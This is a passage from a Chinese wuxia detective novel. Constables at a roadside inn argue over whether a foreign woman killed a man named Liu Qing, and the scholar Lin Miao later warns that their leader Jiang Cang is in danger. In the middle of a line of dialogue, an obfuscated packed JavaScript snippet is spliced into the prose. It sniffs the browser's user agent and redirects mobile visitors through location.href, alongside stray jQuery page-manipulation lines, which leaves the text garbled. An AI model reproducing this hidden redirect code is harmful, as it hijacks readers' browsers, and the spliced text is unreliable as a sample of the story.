“胡姬。”
“胡姬?”
梁朝一怔,脸上方闪露出的好奇之色立刻就已转变为一种几已被她气怔的冷笑。
这表情的意思当然很明白:他非但不认可她的推测,而且认为这纯粹是在胡说八道。
江沧却还在沉吟着,似乎还在细细思索她方才提出的那些问题。
林杪当然看得懂梁朝的表情,却也并不急着解释,只是平和地看着他,道:“梁兄认为不是?那请教梁兄为什么不会是她?”
“她——”梁朝一时语塞,顿了顿,却将神色一正,反问道:“那请教林兄为什么会是她?”
“她的手很干净,裙角上也有血迹。”
“那又说明什么?”
“胡姬的裙角要沾上血,就只有曾经接触过死者的血。”
她以一贯平缓而清晰的声音慢慢道:“但我们发现死者时,死者身上流出的血已经干了。如果胡姬一直睡在被子里,在发出那声惨叫之前对刘清之死一直懵然不知,那她裙角上的血迹又是怎么来的?”
梁朝微微一怔,他当然明白她的意思。
“或许......”他又皱起眉,“她晚上并没有盖被子。”
话一出口,顿时也觉得自己这番说辞多少也有点强词夺理。
他也出过不少案子,自然也见过不少像刘清这样的惨案,知道血迹的溅射痕迹一般都有其规律:就算昨晚胡姬是躺在被子上睡的,也很少有身边人躺着的时候被人从喉上划开一道口子,血迹能飞溅到枕边人脚跟那头去。
但少见也并不代表完全没有可能。
林杪似乎认同他提出的见解,点头道:“的确有这个可能。但无论她是掀开被子睡的,还是就睡在被子上,刘清的血既然能溅到她的裙角上,自然她脚跟附近的床被上面也多多少少也会沾有一些......然而,梁兄即便现在去检查,应该也是发现不了的。”
梁朝淡淡笑笑,道:“林兄既说得这么肯定,自然已经检查过。”
林杪没有否认,接着道:“床脚的床被上虽无血迹,但刘清旁边的枕头上却有——而且血迹连贯。”
梁朝皱眉道:“你的意思是,刘清死的时候胡姬并没有睡在他身边?”
他当然知道一个人在床上被割喉,血迹自然难免会溅到枕边人的脸上——而如果当时他身边并没有枕边人,那血迹自然就会落到枕边人的枕头上。
“这的确是个疑点。”
梁朝承认,“但也仅仅只能说明刘清死的时候胡姬不在床上,并不能证明她就是凶手。”
“当然。”林杪也承认,又接着道:“不过,不论刘清遇害时胡姬去了哪里,既然刘清遇害的时侯她不在床上,那么她裙角上的血迹自然就只能是在刘清遇害后沾上的——但这血迹当然也不会是她发出那声惨叫的时候沾上的,是么?”
梁朝没有说话,但表情无疑已是默认。
林杪接着道:“既然如此,为什么直到天快亮胡姬才叫出那一声?难道她在跨过那些尚未凝固的血迹的时候并没发现自己的枕边人已经死了?”
梁朝沉默下来。他当然已经明白了她的意思。然而......他总感觉她的话里似乎有什么不对劲的地方......
“你说的这两点的确都很可疑,但还是不足以证明她就是凶手。”
这次他的话里倒也没有再故意同她抬杠的意思,显然也是经过思考后得出的结论。但林杪似乎只打算说到这里,云淡风轻地道:“在下只是说出自己的看法,至于证据,就要麻烦梁捕自己亲自去找了。”
也不知是因为见她始终态度平和,还是因她说话条理分明,梁朝虽听出她这话里的挤兑,却也并不向先前那样着恼,只是接着问道:“那么你那两个和你同行的两兄弟呢?他们的失踪又怎么解释?”
“不知道。”
林杪不以为然道:“可能就是忽然想起什么急事走了......况且,梁捕又如何能确定他们就一定是失踪了?”
梁朝道:“既然你说胡姬是凶手,也就是说那两兄弟没有嫌疑。如果不是因为杀人逃命,两个正常人怎么会在大晚上冒着大雨赶路?何况还把马给丢下?三更半夜,荒郊野岭的,他们能走到哪里去?”
“人心难测,你我又怎么能猜得到别人是怎么想的?”林杪淡淡道:“何况这一带山连着山,多的是山洞暗穴,或许他们正在某个山洞躲雨也说不定。”
这无疑就是强词夺理了。梁朝一噎,看着她淡然无波的脸孔,方才降下去的火气几乎又要忍不住烧起来,却忽听江沧开口道:“我觉得林公子说得有道理,胡姬可疑。”
他语气冷静,似乎也和林杪一样已十分笃定;原本紧蹙的眉心舒展开来,好像所有疑虑都已消散。只是目光却似乎别有深意地向林杪看去。
两人视线在半空中交汇,一瞬之间,竟似乎莫名达成了一种微妙的什么东西。
林杪轻轻一顿,旋即向他微微点头,伸手一揖,正色道:“雨已停,在下急着进城投亲,先行一步。”
江沧也点头回了一礼,“林公子珍重。”
又向梁傅两人吩咐,要他们将胡姬先行押回衙门,再叫两个人过来收敛尸身,他则暂留在客店等候。
梁朝和傅平生面面相觑。
傅平生虽然憨头憨脑,听了梁朝和林杪的一番对话,虽也觉得胡姬可疑,却也觉得还远不到就能断定胡姬就是凶手的地步,也想要劝上几句,但江沧显然主意已定。无奈,两人只得遵行。
当下几人回到大堂,将凶手推定说给众人听了。早上发生这么一桩命案,他们自然都被吓得不轻,到了现在也还都颇有些神思不定。这时听说凶手是胡姬,更是惊诧,都半信不信。
那胡姬中原话虽不行,却是听得懂一些的,听说凶手是自己,吓得面色苍白,操着一口并不太标准的官话连连否认,最后看周围没一个人出来替她说话,急得哭起来。梁朝和傅平生却也只能无奈将其用绳索缚了,先押送她回衙门。
林杪与他们同路进城,梁朝心内对她总有个疑影,便载着胡姬不紧不慢跟在她身后。林杪恍若未觉,只管在他们前面不快不慢驱马而行。等到转出客店小路,林杪忽地甩动马鞭,座下那匹青马便猛地撒开四蹄飞奔起来。
梁朝神色一凛,料她是做贼心虚,早有准备,双腿一夹马腹,立刻打马追将上去。谁知林杪骑术极好,而自己马上又多带着一人,难免拖累,眼看两人差距渐渐拉大,正打算弃马用轻功急追上去,却见林杪猛地将马头一勒,突地又掉转头来,停住不动。
她神情冷肃,等着梁朝二人追将上来,不等梁朝发问,便沉声道:“你们头儿有麻烦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278919|198328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。你们最好赶快赶回衙门,叫些人手回去接应他。”
梁朝和傅平生当然吃了一惊。
梁朝看着她,又看看自己跟前的胡姬,脸上那种习惯性的促狭笑意忽然慢慢从脸上消失了。
他仿佛忽然想到什么,“凶手不是她?”
“不是。”
这一次,她的语气同样平静而且肯定。
“你说小越——头儿有危险,是因为凶手就在客栈?”
这当然是一句废话:人既然是在客栈死的,现在和他们呆在一块的胡姬又不是凶手,凶手自然只能是留在客栈里的人。因为那客栈附近根本就再没有别人。
所以他立刻就又接着问道:“是谁?”
林杪微微起眉,道:“你要是再继续问下去,只怕他......”
梁朝当然明白她的意思,却不疾不徐地开口打断了她的话:“他有没有暗中叫你告诉我们,要我们叫人回去帮他?”
“没有。”林杪言简意赅。
“那我们就用不着担心。小越他对付得了。”他脸上又挂起平日那种惯常的笑意,只是一双眼睛却仍带着探究打量着她,显然还在考量她说的是否属实。
“你放心,”傅平生当然也已听明白了他们的对话,语气同样也很肯定:“小越虽然年纪轻,做事却很稳重,从来都不是一个好勇逞强的人。既然他没和你说要我们回去帮忙,就是现下客栈里有十个凶手,他也对付得了。”
他们口中的“小越”当然就只有江沧。
傅平生接着道:“他让咱们带着胡姬同你走,想必是因为你们一个文弱书生,一个柔弱女子,怕刀剑无眼,伤着你们。”
他的眼睛也同样看着林杪,却很坦诚,显然不像梁朝那样对她依旧有所怀疑。
“那好。”林杪也就淡然一拱手,道:“该说的话我已说了,就此告辞。”
说罢,拨转马头,准备转身离开。
梁朝却似早有准备,先策马向前拦住了她,道:“恐怕要请林兄弟同我们多呆一会儿。”
他似乎对她已信了七分,脸上那促狭的笑容也变得客气了许多:“毕竟杀害刘清的凶手尚未抓到,恐怕要等事情明,在下才能放林兄弟走。”
林杪微微一顿,“那么梁兄打算怎么样?”
“保险起见......当然还是打道回去看一眼。”
于是一行人又勒转马头,从官道又绕回那条通往客店的小径。
大雨过后,泥土和野草的清香就在空气中弥漫开来,树上的叶子被雨水洗过,绿得仿佛能滴油。几人从一片片熟悉的树叶底下穿过,往回走了一段路,果然听到那客店的方向隐隐传来打斗的声音。
等到几人不急不徐地回到客店,打斗声也已歇止,江沧还是那副样子,锋利的眉眼看来还是很温和,好像刚刚并没有经历一场战斗,而只不过是进行了一场短暂而愉快的谈话。只是手中的剑却已从那看来花里胡哨的剑鞘中拔出,此刻正被他慢条斯理地还归剑鞘之中。
他果然也毫发无伤。
但店里的情况却令梁朝和傅平生都大吃一惊:除了江沧、抱着头缩在柜台瑟瑟发抖的陈大发,还有那对夫妻中的妻子,这客栈里的所有人居然都倒在了地上!
——难道还真让他们说中了?这一屋子的人还真的都是凶手?”